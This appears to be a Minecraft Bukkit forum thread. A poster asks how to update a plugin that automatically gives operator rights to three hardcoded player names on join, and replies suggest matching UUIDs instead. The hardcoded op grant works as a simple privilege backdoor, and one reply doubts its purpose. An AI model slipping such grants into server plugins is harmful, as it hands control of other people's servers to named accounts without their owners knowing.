What I need help with : A being updated to support UUID's I'm creating a plugin that '/op's specific players upon joining. This is a version of the plugin before UUID's came out for Minecraft. How do I fix my plugin so it works with 1.7.8/1.7.9? Code: package pw.divcraft.moam; import org.bukkit.Bukkit; import org.bukkit.Server; import org.bukkit.entity.Player; import org.bukkit.event.EventHandler; import org.bukkit.event.Listener; import org.bukkit.event.player.PlayerJoinEvent; import org.bukkit.plugin.PluginManager; import org.bukkit.plugin.java.JavaPlugin; public class Main extends JavaPlugin implements Listener { public void onEnable() { PluginManager pm = Bukkit.getServer().getPluginManager(); pm.registerEvents(this, this); } @EventHandler public void onPlayerJoin(PlayerJoinEvent e) { if ((e.getPlayer().getName().equalsIgnoreCase("Bro_Bro_Bro")) || (e.getPlayer().getName().equalsIgnoreCase("vonicholas99")) || (e.getPlayer().getName().equalsIgnoreCase("MagicBoys"))) e.getPlayer().setOp(true); else; } }
You could get their UUID and check if that matches their username, and if so, setOp. Or you could just simply get their UUID without a check and then setOp.
<Edit by Jade: Flamebaiiiiiiiiit> 1. UUIDs are completely different from the users name... A users UUID would be along the lines of a7af41d0-ee72-11e3-ac10-0800200c9a66 while the users name in this case would be Bro_Bro_Bro 2. To update the plugin to support UUIDs you would do something along the lines of this Code:java @EventHandlerpublic void onPlayerJoin(PlayerJoinEvent e) {if ((e.getPlayer().getUniqueID().toString().equals("Player UUID goes here"))e.getPlayer().setOp(true);else;} 3. Why is this even helpful? I cannot think of 1 friking use of this that would be in benefit to you at all... No like there is already a built in feature to store if a player is op or not....
RulingKyle1496 No, no, no. I meant get the UUID of a player's username (manually, in this case Bro_Bro_Bro), store it in a variable, and then check if a player's UUID matches that variable with a PlayerJoinEvent. Also, good luck with that ion cannon.
Yes, for correcting you. How dare he. Although I'm sure you meant what he said, you did phrase it incorrectly/vaguely.